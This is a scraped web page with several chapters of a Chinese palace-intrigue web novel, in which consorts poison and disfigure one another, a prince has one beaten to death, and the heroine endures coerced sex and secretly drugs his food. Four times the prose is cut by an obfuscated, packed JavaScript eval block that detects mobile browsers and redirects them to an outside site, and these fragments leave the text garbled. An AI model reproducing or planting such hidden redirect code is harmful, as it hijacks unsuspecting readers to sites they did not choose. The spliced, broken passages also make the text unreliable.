反观自己,脸还是肿的,像个发酵的馒头。 她心头涌起一阵夹杂着嫉妒的羡慕,忍不住问:“王侧妃,你的容貌怎会恢复得这般迅速?” 王碧珊微微一笑,语气柔和却带着几分得意:“我姑母熙太妃听闻我在王府受刑,心疼不已,特地遣人送来一瓶宫中珍藏的‘凝脂膏’。我用了不过几日,脸便恢复如初了。” 霍娴月闻言,眼底闪过一抹艳羡,急切地追问:“王侧妃手中可还有此‘凝脂膏’?能否借我一用?” 王碧珊心中暗喜,当即从袖中取出一只精致的白玉小瓶,递了过去:“自然可以,我特意带在身上,就是想与姐姐分享。” 霍娴月激动地接过药膏,手中触及那冰凉的瓶身,却忽觉一丝不对劲,眸光微眯,带着几分试探:“你怎会如此大方?倒像是特意来给我送药膏一般。” 王碧珊神色一僵,忙掩饰住心虚,急急解释道:“我不过是关心姐姐的伤势,这才特地将药膏送来。怎么,姐姐竟疑心我会害你不成?” 霍娴月冷笑一声,目光锐利地打量着她:“我并非疑心,只是觉得奇怪。我们同为景王府的侧妃,本是竞争之敌,寻常人怎会主动向对手示好?王侧妃,你此举着实令人费解!” 王碧珊闻言,佯装恼怒,脸色一沉:“既然霍侧妃信不过我,那便罢了,真是好心当作驴肝肺!” 说罢,她一把从霍娴月手中夺回那瓶药膏,拂袖转身,头也不回地离去。 待回到自己院中,赖嬷嬷见她竟将萧凌川交予的药膏带了回来,不由得面露忧色,低声提醒:“侧妃,若未能说服霍侧妃涂抹此药,怕是难以向王爷交代啊……” 王碧珊冷冷地瞥了她一眼,语气中透着不屑:“赖嬷嬷可是怕被我连累?” “老奴不敢……老奴只是担心侧妃安危。”赖嬷嬷忙低下头,语气卑微。 “担心我?”王碧珊冷笑,眸中闪过一抹怨毒,“若真担心我,为何还投靠王爷,设计我涂那**?赖嬷嬷,我待你如亲人,你却如此对我!” “老奴知错,老奴是贪生怕死……”赖嬷嬷颤声辩解,满脸愧疚。 “够了!”王碧珊不耐地打断她,嘴角勾起一抹算计的弧度,“你有空在这说这些无用之言,不如将昨日王爷来我屋中的事散布出去。到时,霍侧妃自会主动来向我求这瓶药膏!” 赖嬷嬷闻言,眼中一亮,顿时明白了她的用意,连忙应道:“是,侧妃,老奴这就去办!” 很快,流言便在藏锦阁内传开了。 婢女们聚在廊下,绘声绘色地讲着萧凌川昨夜去了王碧珊院里探望伤势的事,甚至还添油加醋,说王爷被她那张恢复如初的脸迷住了,打算宠幸她。 这些话像刀子,狠狠刺进霍娴月心窝。 她坐在妆台前,铜镜里映出自己浮肿不堪的脸,红一块紫一块,活像个被踩烂的包子。 凭什么? 同样挨了罚,萧凌川却只关心王碧珊,对她连个眼神都不屑给! 难道真因为她脸恢复得好的缘故? 男人啊,果然只爱皮囊,她若再不治好这张脸,怕是要彻底失宠! 她咬紧下唇,唤来贴身婢女,低声吩咐:“去王碧珊那儿,求她把那什么‘凝脂膏’给我弄来!备上些珠宝首饰,别空着手,免得她拿乔。” 婢女领命,很快就捧着一堆金银细软去了王碧珊院中。 没多久,婢女回来,手里拿着一只白玉小瓶,霍娴月接过来,冰冷的触感让她心头一颤,眼底燃起几分希冀。 另一边,王碧珊看着婢女送来的珠宝,嘴角微微上扬,露出抹冷笑。 花钱买罪受,哼,霍娴月这蠢货还真是自讨苦吃! 她随手将珠宝丢进匣子,懒懒靠在榻上,眼神阴冷。 等着吧,明日定有好戏看! 果然,第二天,霍娴月屋里传出尖叫。 她涂了那“凝脂膏”,原本快好了的脸,今早突然皮肉溃烂,流出腥臭血水,疼得她面容扭曲。 镜前,她颤抖着摸上自己脸颊,手指触到湿腻血水,尖叫声几乎刺破屋顶。 她狠狠砸碎铜镜,泪水混着血水淌下,咬牙切齿咒骂:“王碧珊,你个毒妇,害我至此,我定要你付出代价!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136245|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>与此同时,王碧珊得了消息,乐得眉开眼笑。 她忙不迭整理衣衫,匆匆赶往萧凌川书房。 一进门,她扑通跪下,语气急切:“王爷,妾身已按您吩咐,让霍侧妃用了那**膏!还请王爷尽快将解药赐予妾身!” 萧凌川坐在案后,目光冷如冰霜。 “急什么?再等等。” 王碧珊心头一紧,嘴唇微颤,刚想再开口,门外突然传来撕心裂肺哭嚎。 凌风快步走入,躬身禀报:“王爷,霍侧妃求见,说是被王侧妃陷害,要讨公道!” 王碧珊下意识瞥向萧凌川,却见他面无表情,只冷冷吐出三个字:“让她进。” 门被推开,霍娴月踉跄冲进来,脸上裹着白布,只露出一双猩红眼睛,满是怨毒。 她一见跪地上王碧珊,二话不说冲过去,扬手就是一巴掌,力道之大,连空气都仿佛被撕裂。 “**!你敢害我毁容!我跟你拼了!”霍娴月嘶吼,声音尖利。 王碧珊被打得偏过头,脸颊火辣辣疼。 她也不示弱,猛地抓住霍娴月手腕,反手推开她,怒骂:“你胡说什么!谁害你了?自己蠢,怨得了谁!” 两人扭打成一团,撕扯头发,抓挠脸面,嘴里骂得不堪入耳。 书房内一片混乱,桌案上砚台被撞翻,墨汁淌了一地。 萧凌川斜靠在椅上,面无波澜,眼神却冷得像冬日寒湖,静静看着眼前这场狗咬狗戏码。 良久,他才懒洋洋开口,声音低沉却带着无形压迫:“够了!” 凌风闻声上前,粗鲁扯开两人。 霍娴月喘着粗气,头发散乱,脸布已被扯下,露出溃烂狰狞伤口,看得人头皮发麻。 王碧珊也好不到哪去,衣衫凌乱,脸上多出几道抓痕,眼神却仍旧倔强,狠狠瞪着对手。 萧凌川冷哼,语气里满是嘲讽:“本王还当你们姐妹情深,倒是没料到能撕成这副德行。来人,王侧妃陷害霍娴月,致其毁容,拖下去,杖责三十!” 王碧珊如遭雷击,瞳孔猛缩,嘴里刚冒出个“王爷”,就被凌风眼疾手快捂住嘴。 她挣扎着想辩解,喉咙却只能发出呜咽,手脚乱蹬,眼中满是惊恐与不甘。 这一刻,她才意识到,萧凌川压根没打算给她解药。 他是将她当枪使了! 第276章 他的真正目的 第二百七十六章他的真正目的 庭院里很快传来沉闷的击打声,一下,又一下,伴随着嚎叫声,仿佛敲在人心上。 起初,霍娴月还沉浸在复仇的快意里。 她赢了,王碧珊那个**,终于遭到了报应! 她听着那夹杂在杖打声中的凄厉哀嚎,嘴角甚至勾起一抹扭曲的笑。 叫吧,叫得再大声些,最好让全王府都听见你这毒妇的下场! 往后,看王府里还有谁敢算计她! 可那哀嚎声渐渐弱了下去,从尖叫变成呜咽,最后只剩下棍棒落在皮肉上的闷响,噗嗤,噗嗤,再无半点人声。 霍娴月脸上的笑容僵住了。 书房里静得可怕,只有烛火偶尔发出的噼啪声。 不知过了多久,凌风面无表情地推门而入,身上带着一丝若有若无的血腥气。 他朝萧凌川躬身行礼,声音平稳得没有一丝波澜。 “王爷,王侧妃不堪杖打,已经……没气了。” “轰”的一声,霍娴月脑子里炸开一片空白。 **? 王碧珊……就这么**? 她浑身的力气像是被瞬间抽干,双腿一软,整个人瘫坐在冰冷的地板上,身体不受控制地发起抖来。 萧凌川缓缓从书案后起身,一步步走到她面前,玄色衣摆拂过地面,无声无息,像个索命的鬼魅。 他居高临下地俯视着她,语气里带着一丝冰冷的困惑。 “霍侧妃怎么了?本王替你出了气,将害你之人就地正法,你怎么……反倒不高兴了?” 他的声音很轻,却像一把淬了冰的刀子,一寸寸扎进霍娴月的骨头里。 她猛地抬起头,对上那双深不见底的眼眸。 那里面没有半分怜悯,只有一片漠然的、看戏般的冷酷。 这一刻,霍娴月忽然觉得,脸上这点毁容的痛楚,根本算不得什么。 真正让人绝望到骨髓发寒的,是眼前这个俊美如神祇,心肠却比蛇蝎还要歹毒的男人。 她张了张嘴,牙齿上下打颤,磕磕巴巴地挤出几个字:“妾、妾身……谢、谢王爷为妾身……讨回公道……” 萧凌川发出一声轻不可闻的冷笑,仿佛看穿了她心底所有的恐惧和懊悔。 “只可惜,”他目光落在她脸上溃烂的伤口上,慢条斯理道,“霍侧妃这张脸,怕是再也好不了了。这副模样,实在不适合继续留在本王的府里。不如,本王给你一份放妻书,让你回霍家去,安度余生。如何?” 回霍家? 霍娴月顿时如遭雷击。 以霍家那等看重颜面的人家,怎么会要一个被夫家休弃、还毁了容貌的女儿! 等待她的,绝不是什么安度余生,而是被家族唾弃,被关在暗无天日的后院里,了此残生! 不,那比死还难受! “王爷!”她跪在萧凌川面前,额头一下下用力磕在坚硬的地砖上,发出沉闷的声响,“王爷,不可!妾身若是就这么被休弃回府,霍家……霍家定然不会容我的!求王爷开恩,求王爷给妾身一条活路!” “活路?”萧凌川摩挲着下巴上冒出的青茬,似乎真的在为她感到为难,“那可如何是好呢?” 他那副沉思的模样,落在霍娴月眼里,却像是在掂量着,究竟用哪种方式让她**,才最干净利落。 一阵彻骨的寒意从脚底直冲天灵盖,霍娴月头皮发麻。 “王爷!让妾身……让妾身去庵堂吧!妾身愿剃发为尼,从此青灯古佛,日日为王爷、为王府祈福,以赎己身罪孽!” 听到这话,萧凌川的脸上终于露出了一丝满意的神色。 他点了点头,仿佛对这个提议赞许有加:“如此甚好。” “那便不多留霍侧妃了。你这副尊容,也确实可怖,免得吓到府里其他人。” 他转向门口的凌风,声音冷冽如冰。 “凌风,今日就将霍侧妃送去城外的静月寺,即刻削发为尼!” “是,王爷!”凌风躬身领命,随即上前一步,毫不客气地架起霍娴月的胳膊。 霍娴月浑身瘫软,像个破布娃娃一样被拖拽着向外走。 当她被带出书房门口时,刺鼻的血腥味扑面而来。 她下意识地转头,正好看见院中的景象——王碧珊趴在地上,身下的青石板被血染得暗红,背上的衣衫早已破碎不堪,露出的皮肉一片血肉模糊,分不清哪里是衣料,哪里是血肉。 她双目圆睁,脸上还凝固着死前的惊恐与不甘。 那一瞬间,霍娴月如被一盆冰水从头浇到脚,四肢百骸都冻僵了。 她和王碧珊,从头到尾,都不过是萧凌川手中的棋子。 如今,一个命丧黄泉,一个被逐出府门,青灯古佛。 而王家和霍家,经此一事,必定结下不死不休的梁子。 好一个一石三鸟之计! 这个男人的心机与手段,当真……深不可测,狠毒至极! —— 不出三日,景王府内的惊天变故就如一场泼天的墨,迅速染黑了整个上京城的权贵圈。 王家嫡女善妒,下毒谋害霍家嫡女,反被景王当场杖毙。 霍家嫡女容貌尽毁,心灰意冷之下,自请入静月寺,削发为尼,从此青灯古佛,不问红尘。 一时间,流言蜚语传遍大街小巷,说书先生的嘴里又多了几段新鲜热辣的谈资。 而真正掀起滔天巨浪的,是朝堂之上。 王家与霍家,本就是盘踞大邺多年的两大门阀,彼此间明争暗斗,虽早已积怨颇深,却一直维持着表面上的和睦。 如今,一个**女儿,一个女儿半死不活地被送进了尼姑庵,这梁子算是结得死死的,再无半点转圜余地,索性撕破脸皮,大闹起来。 早朝的金銮殿上,气氛凝重得几乎能滴出水来。 两派的官员立刻下场,唇枪舌战,你来我往,唾沫星子横飞,庄严肃穆的金銮殿顿时变成了喧闹的菜市场。 龙椅上的皇帝萧政贤只觉得额角青筋突突直跳,一阵阵地发疼。 他当初逼迫萧凌川娶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136246|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些门阀之女,存的就是让他后院起火,家宅不宁,好让他分身乏术,无暇他顾的心思。 谁曾想,这火烧得太旺,直接从景王府烧到了他的金銮殿上,反倒要他这个九五之尊来给萧凌川的烂摊子收场! “够了!”萧政贤忍无可忍,一掌拍在龙椅扶手上,发出沉闷的巨响。 殿内瞬间安静下来,只余下粗重的喘息声。 “此事,景王已经处置,是非曲直,自有公论!再有喧哗者,一并论处!”萧政贤压着火气,宣布退朝,拂袖而去,留下满朝文武面面相觑。 御书房内,熏香缭绕,却驱不散萧政贤满身的燥郁。 他对着萧凌川劈头盖脸就是一通怒斥:“你看看你做的好事!一个侧妃**,一个侧妃出家了!现在王、霍两家在朝堂上吵得朕的头都快炸了!四弟,你连自己的内宅都管不好,成何体统!” 萧凌川站在殿中,一身玄色王袍衬得他身形愈发挺拔,脸上却是一副全然无辜的表情。 他慢悠悠地开口:“皇兄,您这话可真是冤枉臣了。内宅之事,臣向来不过问。她们都是门阀贵女,心思深沉,要玩什么心机手段,臣一个大男人,哪里搞得懂这些?她们自己斗起来,一个失手,一个认栽,臣也只能秉公处理,不然还能如何?” 萧政贤看着他这副油盐不进的惫懒模样,气得心口发堵,冷笑一声:“秉公处理?好一个秉公处理!如此说来,倒是朕错怪你了?那要不要朕再给你指一门正妃,帮你好好管管这后院?” 这话里带着浓浓的讽刺与试探。 萧凌川唇角勾起一丝冷笑,语气却相当诚恳:“皇兄若是真有此意,倒也不是不行。不过,臣以为,皇兄与其操心臣的后院,不如也给自己多纳几位妃嫔。您后宫空虚,也该为皇家开枝散叶了不是?顺便,您亲自示范一番,也好教教臣,这内宅之事,究竟该如何应对。” “你……”萧政贤一口气没上来,指着他的手抖个不停,脸色由红转青,再由青转紫,“你、你给朕退下!” 从御书房出来,萧凌川脸上那副恭顺的表情瞬间消失得无影无踪,取而代之的是一片淡漠。 七王爷萧琪钰快步跟了上来,脸上带着一丝担忧:“四哥,你方才在里头,那么直截了当地顶撞皇兄,是不是……有些不妥?我瞧着皇兄的脸,都快气绿了。” 萧凌川脚步未停,声音平淡得听不出任何情绪:“他当初将那四个女人塞给本王的时候,就该料到会有今天这个结果。” 他偏过头,看着宫道旁巍峨的红墙,嘴角勾起一抹极淡的、淬了冰的弧度。 “再说了,能借此机会,让王霍两大门阀互相咬上一番,本王觉得,甚好。” 萧琪钰闻言,心中猛地一跳。 他的四哥,当初答应娶四大门阀的嫡女,根本不是为了拉拢势力,巩固自己的地位。 他是为了……瓦解他们! 他真正的目的,是要彻底打破这数百年来世家强、皇权弱的畸形局面,将这些盘根错节、早已威胁到皇权根基的世家门阀,连根拔起! 第277章 他竟是这般怀念前世 第二百七十七章他竟是这般怀念前世 自从那次被算计中了药,与萧凌川有了肌肤之亲,他便像是被解开了某种禁锢的野兽,贪婪地品尝着他肖想已久的猎物。 那股子食髓知味的劲头,几乎要将人吞噬。 夜复一夜,他将她困于锦帐之中,不知疲倦地索取。 姜姝宁反抗过,挣扎过,可她那点力气,在他绝对的力量面前,不过是聊胜于无的点缀,反而更能激起他恶劣的征服欲。 几次之后,她便被折腾得筋疲力尽,只能任由他为所欲为。 身上的人呼吸灼热,带着淡淡的龙涎香,混杂着他独有的、极具侵略性的气息。身下的锦被早已凌乱不堪,头顶的帐幔随着他不知收敛的动作,一下一下地晃动着,光影迷离。 恍惚间,姜姝宁竟有些分不清今夕何夕。 这样的场景,与前世何其相似。 无论前世今生,她都是被肆意掠夺的那个。 “王妃。” 头顶传来他低沉而不悦的声音,带着一丝喑哑。 姜姝宁的思绪被强行拉回,一双深邃的眼眸正牢牢锁着她,里面翻涌着她看不懂的暗流。 “在这种时候,你居然还会分心?”萧凌川的手指捏住她的下巴,力道不轻不重,却带着不容抗拒的意味,迫使她迎上他的视线。 他似乎对她的走神极为不满,下一刻,便用更凶狠的动作,逼着她将所有溃散的注意力重新凝聚在他身上,迫使她在这场由他主导的情事中沉沦,再无暇他顾。 浪潮席卷而来,姜姝宁被迫仰起头,承受着他狂风暴雨般的掠夺。 看着眼前这张俊美无俦却又恶劣如修罗的脸,一个念头在她心中清晰无比地生根发芽。 是时候好好整治一下这个男人了。 次日,天还未亮透,姜姝宁便破天荒地起了个大早。 她绕过平日里散步的庭院,径直去了王府的主厨房。 后厨的管事和下人们见到她,连忙毕恭毕敬行礼。 姜姝宁却只是淡淡地挥了挥手,示意他们不必多礼。 “今日王爷的早膳,由我来做。”她挽起宽大的云袖,露出一段雪白皓腕,声音平淡,“你们在一旁看着便好。” 于是,一众厨子和下人,便眼睁睁看着他们景王心尖上的人儿,如何有条不紊地洗菜、切肉、调味、烹煮。 一盘盘菜肴被端上桌,无一不是萧凌川素日里最爱的菜色。 萧凌川下朝回来,一踏入饭厅,便闻到了一股久违的、熟悉的饭菜香。 他脚步一顿,目光落在满满一桌精致的菜肴上时,脸上露出了显而易见的错愕。 他看向立于一旁的姜姝宁,眼神里带着一丝不敢置信的探寻:“这些……都是王妃给本王准备的?” “是。”姜姝宁微微颔首,脸上挂着一抹恰到好处的浅笑,亲自为他盛了一碗汤,“王爷公务繁忙,辛苦了。趁热吃吧。” 萧凌川心头巨震,一股难以言喻的狂喜几乎要将他淹没。 他已经许久没吃过她亲手做的饭菜,甚是想念。 他坐下来,拿起筷子,动作甚至带上了几分急切。 入口的瞬间,熟悉的味道在味蕾上炸开。 所有的菜肴都按照他喜欢的方式烹煮,没有半点姜葱蒜的踪影,也没有辣椒。 他吃得心满意足,眉眼间的冷厉都消融了,只剩下一种被满足的温情。 他仿佛又回到了前世,回到了那个被她全心全意爱着的日子里。 那一餐,他几乎将桌上的菜肴一扫而空。 夜里,萧凌川早早便换上了寝衣,将姜姝宁紧紧圈在怀里,下巴搁在她的发顶上,满足地喟叹:“姝宁,今日你给本王做饭,本王觉得……幸福至极。真的,就好像回到了上辈子。” 他温热的呼吸喷洒在耳畔,可那话语里的每一个字,都像淬了冰的针,扎进姜姝宁的心里。 她在他怀中一动不动,心中却在冷笑。 原来,他竟是这般怀念前世。 可对他而言的幸福,于她,却是万劫不复的痛苦深渊。 今生她唯一的愿望,便是将那段过往彻底埋葬,绝不再重蹈覆辙。 这一夜,萧凌川睡得特别早,也特别沉。 翌日天明,他睁开眼时,还有些许纳闷。 自己昨夜竟只是这样抱着姜姝宁,什么都没做,便一觉睡到了天亮。 他侧过头,看着身侧女子安静美好的睡颜,心中一片柔软。 他起身,轻手轻脚地换上朝服。 临走前,又忍不住俯身,在她光洁的额头上印下一个轻柔的吻。 “好好歇着。”他的声音压得极低,带着一丝餍足后的慵懒和预告,“今夜,本王定会让你累一些。” 门被轻轻带上,房间内恢复了寂静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141487|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床榻上的姜姝宁缓缓睁开双眼,那双清凌凌的眸子里,哪里还有半分睡意? 眼底深处,尽是浓得化不开的嘲讽与冰冷。 累? 只要他继续吃她亲手做的饭菜,他便永远别想再有机会让她“累”。 姜姝宁起身,唤来凌芜帮她梳洗,并吩咐道:“今日不必熬避子汤了。” 凌芜正在为她梳头的手猛地一顿,继而激动道:“王妃,您是想通了?要、要给王爷生个小世子吗?” “什么小世子,不许胡说。”姜姝宁冷下声音,“我说的是今日不必,往后兴许还是要的。” 凌芜低下头,小声地“哦”了一声,有些失望。 姜姝宁没说话。 避子汤性寒,若非不得已,谁会主动去喝那苦涩的汤药? 早膳姜姝宁依旧亲手做了,看着下人端去前厅。 之后,她便去了庭院里,侍弄草药。 凌芜在她身后站了许久,终于还是忍不住开了口,声音里带着一丝讨好和试探:“王妃,您听说了吗?那日想在花园里害您的花匠,查出来了,是王家安插进府里的人。如今王侧妃**,霍侧妃也被送去了静月寺长伴青灯,王爷这次可真是为您出了一口恶气!” 她的话语里满是与有荣焉的快意。 姜姝宁手中的小药锄没有丝毫停顿,继续专注地清理着杂草,声音平淡得像在说一件与自己毫不相干的事:“凌芜,你想得太简单了。” “王侧妃跋扈,霍侧妃善妒,她们二人背后的王家与霍家,皆是朝中举足轻重的门阀。王爷如此雷厉风行地处置她们,看似是为我,实则是杀鸡儆猴,敲山震虎。” 他要的,是王、霍两家因此生出嫌隙,相互猜忌,内斗不休。只有这些门阀彼此关系恶化,才没精力勾结起来,去削弱萧家的皇权。” 不得不承认,萧凌川在登基之前先行剪除门阀势力,确实是极为高明之举。 如此一来,他日后登基便没那么多阻力了。 姜姝宁顿了顿,抬眼瞥向一脸迷茫的凌芜,补充道:“至于为我出气,不过是顺手为之罢了。” “可是……”凌芜还想再为王爷辩解几句。 一个负责洒扫的婢女却急匆匆地跑了过来,在庭院门口站定,朝姜姝宁行了个礼:“王妃,赵侧妃……求见!” 赵若晚? 她来做什么? 第278章 赵家结盟意图 第二百七十八章赵家结盟意图 负责洒扫的婢女话音刚落,凌芜便抢先一步,皱着眉头低声提醒道: “王妃,这些侧妃个个精明得很,专挑王爷不在的时候来找您,定然没安什么好心!” 姜姝宁神色淡然,目光平静地转向那婢女,语气不咸不淡地问道:“赵侧妃可有说找我何事?” 婢女小心翼翼地答道:“回王妃,她说……说是特意来给王妃您奉茶。” 奉茶? 姜姝宁眉头微挑,心中泛起一丝疑惑。 赵若晚身为明媒正娶的侧妃,给她一个身负“逃犯”身份的女子奉什么茶? “让她进来吧。”姜姝宁淡淡开口,挥手示意婢女前去传召。 不多时,主院前厅便传来一阵轻缓的脚步声,伴随着衣裙窸窣的细响。 赵若晚缓步走进,停在姜姝宁面前。 她低垂着眼帘,姿态恭顺,似乎刻意收敛了所有锋芒。 “妾身见过王妃!”赵若晚屈膝福身,行礼时毕恭毕敬,态度谦卑得近乎谄媚。 姜姝宁静静打量着她,心头莫名升起一股荒谬之感。 一个名门出身、明媒正娶的侧妃,竟对她这个顶着王妃名号、实则身份尴尬的女子行如此大礼。 事出反常必有妖,赵若晚此番举动,分明是有所图谋! “不敢当,赵侧妃还是唤我宁儿姑娘吧。”姜姝宁声音不大,却透着一股疏离的清冷,“不知赵侧妃找我有何事?” 赵若晚身子一僵,抬眼偷偷瞄了姜姝宁一眼,又迅速垂下。 “妾身……妾身有事跟王妃商量,还请王妃借一步说话。” 她语气变得有些吞吐,下意识地朝一旁寸步不离的凌芜瞥了一眼,那眼神里的意思再明显不过了。 姜姝宁心下了然。 她转向凌芜,挥了挥手:“凌芜,你先退下吧!” 凌芜听了,有些不情愿应道:“是,王妃。” 待凌芜的身影消失在门外,前厅里只剩下姜姝宁与赵若晚二人。 姜姝宁重新看向赵若晚,眉梢微挑:“赵侧妃,如今没有外人,有话不妨直说。” 姜姝宁话音刚落,赵若晚竟“噗通”一声跪在她面前。 她身子微微颤抖,头颅几乎要埋进胸口,声音里带着明显的哭腔和颤抖:“王妃……妾身从前有眼不识泰山,多有得罪,还请王妃不要介意!” 从前她压根没把姜姝宁这个相府嫡女放在眼里。 可如今王碧珊**,霍娴月被送去静月寺,两个门阀嫡女,竟然因为算计姜姝宁而落得如此下场。 萧凌川手腕之狠辣,令人心惊胆寒。 他根本不在乎那些门阀的脸面,更不在乎这些侧妃的死活。 他只在乎他想护着的人。 赵若晚这才意识到,姜姝宁在景王心中的分量有多重。 若想在景王府中继续立足,甚至保全性命,她必须与姜姝宁修好关系。 否则,王碧珊和霍娴月就是她的下场! “赵侧妃,你起来说。”姜姝宁轻描淡写地开口,声音毫无波澜。 她对这些勾心斗角不感兴趣,也不想和萧凌川的侧妃交好,更不想和她们为敌。 与她们牵扯,只会徒增麻烦。 赵若晚如蒙大赦,急忙撑着地面站起身,脸上还带着泪痕。 她讨好又惊恐地看着姜姝宁,像是生怕自己说错一个字,又触了姜姝宁的霉头。 “王妃,妾身和王侧妃、霍侧妃她们不同!”赵若晚深吸一口气,语气变得急切而坚定,仿佛急于表明自己的立场,又似在与那二人彻底划清界限。 她指尖紧紧绞着衣袖,身子微微前倾,声音中透着几分急迫:“她们入府,是受家族与陛下之命,暗中监视王爷。而妾身不同,妾身入府,是真心想与王爷结为盟友!只要王爷点头,赵家定当倾尽全力,助他登上那至高无上的位置!” 姜姝宁蓦然想起,赵家是萧凌川皇叔雍王的母族。 当年先帝登基,手段狠辣,踩着手足尸骨才成就帝位。 雍王因年幼侥幸躲过一劫,却被发配至远离京城的贫瘠封地,无诏不得入京半步。 他的母族赵家自然不甘心就此没落,始终寻找机会攀附其他皇室血脉,妄图东山再起。 前世,他们选择依附瑞王;今生,瑞王锒铛入狱,赵家便将赌注押在了萧凌川身上。 “赵侧妃,这些话,你该去对王爷说。”姜姝宁语气淡漠,不带一丝情绪。 “妾身何尝不想对王爷说?”赵若晚苦着脸,满眼无奈,“可妾身根本没有机会!” 嫁入王府数月,她见到萧凌川的次数屈指可数,且每次皆有其他侧妃在场,根本没有开口的机会。 未出嫁前,她信心满满,自恃姿色出众,又有娘家撑腰,定能让景王对她另眼相待。 然而,现实给了她一记响亮的耳光。 景王从不给她半分单独相见的机会,每每她欲前往主院拜见,换来的皆是冷声拒绝。 无奈之下,她只得退而求其次,转而求助于姜姝宁。 “你是想让我帮你制造与王爷独处的机会,好让你说服他与赵家联手?”姜姝宁挑眉,清冷的目光落在她身上。 赵若晚忙不迭地点头:“王妃,您放心,只要王爷肯与赵家合作,将来定不会少了您的好处!” “好处就不必了。”姜姝宁微微一顿,唇角勾起一抹意味不明的弧度,“不过,从今往后,你便欠我一个人情。若我有需要,你必须偿还。赵侧妃,你可做到?” “能,王妃,您大可放心!”赵若晚毫不犹豫地应下,语气郑重而急促,“往后只要您开口,妾身能办到的,定当全力相助!” “一言为定!”姜姝宁淡然颔首,眼中却闪过一抹无人察觉的精光。 夜色渐浓,萧凌川如往常一般,与姜姝宁一同用膳。 下人们布好菜,便悄无声息地退了出去,偌大的厅堂只剩下他们二人相对而坐。 姜姝宁夹起一块莹白如玉、状似嫩豆腐的菜肴,放入他面前的白瓷碟中,语气平淡地开口:“王爷,尝尝这个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141488|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧凌川并未多想,夹起那块“豆腐”送入口中。 他咀嚼的动作顿了一下,随即眼中浮现出一抹赞赏:“嗯,这豆腐鲜嫩爽滑,入口即化,确是难得的佳品。王妃的手艺精进了。” “王爷,这可不是豆腐。”姜姝宁慢条斯理地放下**箸,“这是用鱼肉做的。” 萧凌川握着筷子的手僵在半空,眉头紧锁,神情里是毫不掩饰的排斥与疑虑。 他素来不喜腥膻,尤其是鱼,简直到了碰都不能碰的地步。 “此话当真?”他声音沉了下去,“可本王根本没尝出半分鱼腥味。” 姜姝宁没有直接回答,而是又夹起一块完整的鱼肉,轻轻放入他碗里。 鱼肉白嫩,在灯火下泛着温润的光泽。 “此鱼名为流溪鱼,是流溪的特产。因其只生于清澈湍急的溪水之中,食水草苔藓长大,故而肉质细嫩,毫无泥腥之气。”姜姝宁抬眼看他,目光清澈,“王爷,以后你也可以吃鱼了。” 萧凌川眼中的冰霜似乎融化了些许,取而代之的是一种复杂难明的情绪。 良久,他才缓缓开口,声音里带着一丝他自己都未察觉的动容:“为了让本王吃鱼,你竟如此费心。姝宁,本王很是感动。” “王爷言重了。”姜姝宁垂下眼帘,长长的睫毛掩去眸中所有的情绪,“这道菜的做法,是赵侧妃告诉我的。而且,这鱼,也是赵侧妃亲自下厨烹制的。” 她顿了顿,仿佛不经意地补充道,“我听说,那流溪,正是雍王的封地。虽说地方贫瘠,但山清水秀,养出的鱼虾瓜果,滋味都格外好。” “赵若晚?” 萧凌川口中念出这个名字,脸色瞬间阴沉下来,周身的气压也骤然降低,空气仿佛都凝滞了。 他盯着姜姝宁,眼神锐利如刀,似乎要将她整个人都看穿:“你跟她,何时走得这般近了?” 她迎上他的目光,毫不避缩,甚至还露出一个浅淡的微笑:“王爷,这府里拢共就这么几个人,抬头不见低头见,日子久了,说上几句话,不也正常吗?” 她拿起汤匙,慢悠悠地舀了一勺汤,吹了吹热气,才反问道,“怎么,难道王爷想让我在这王府里,一辈子都不跟其他人说话吗?” 姜姝宁的话语里带着一丝若有似无的讥讽,像根细小的针,轻轻扎在他紧绷的神经上。 “自然不是。”萧凌川生硬地吐出几个字,随即垂下眼眸,不再看她,也掩去了他眼底那道一闪而过的寒光。 这顿饭的后半段,在一种诡异的沉默中结束。 用完膳,萧凌川一言不发地起身离开。 藏锦阁里,赵若晚正坐立不安。 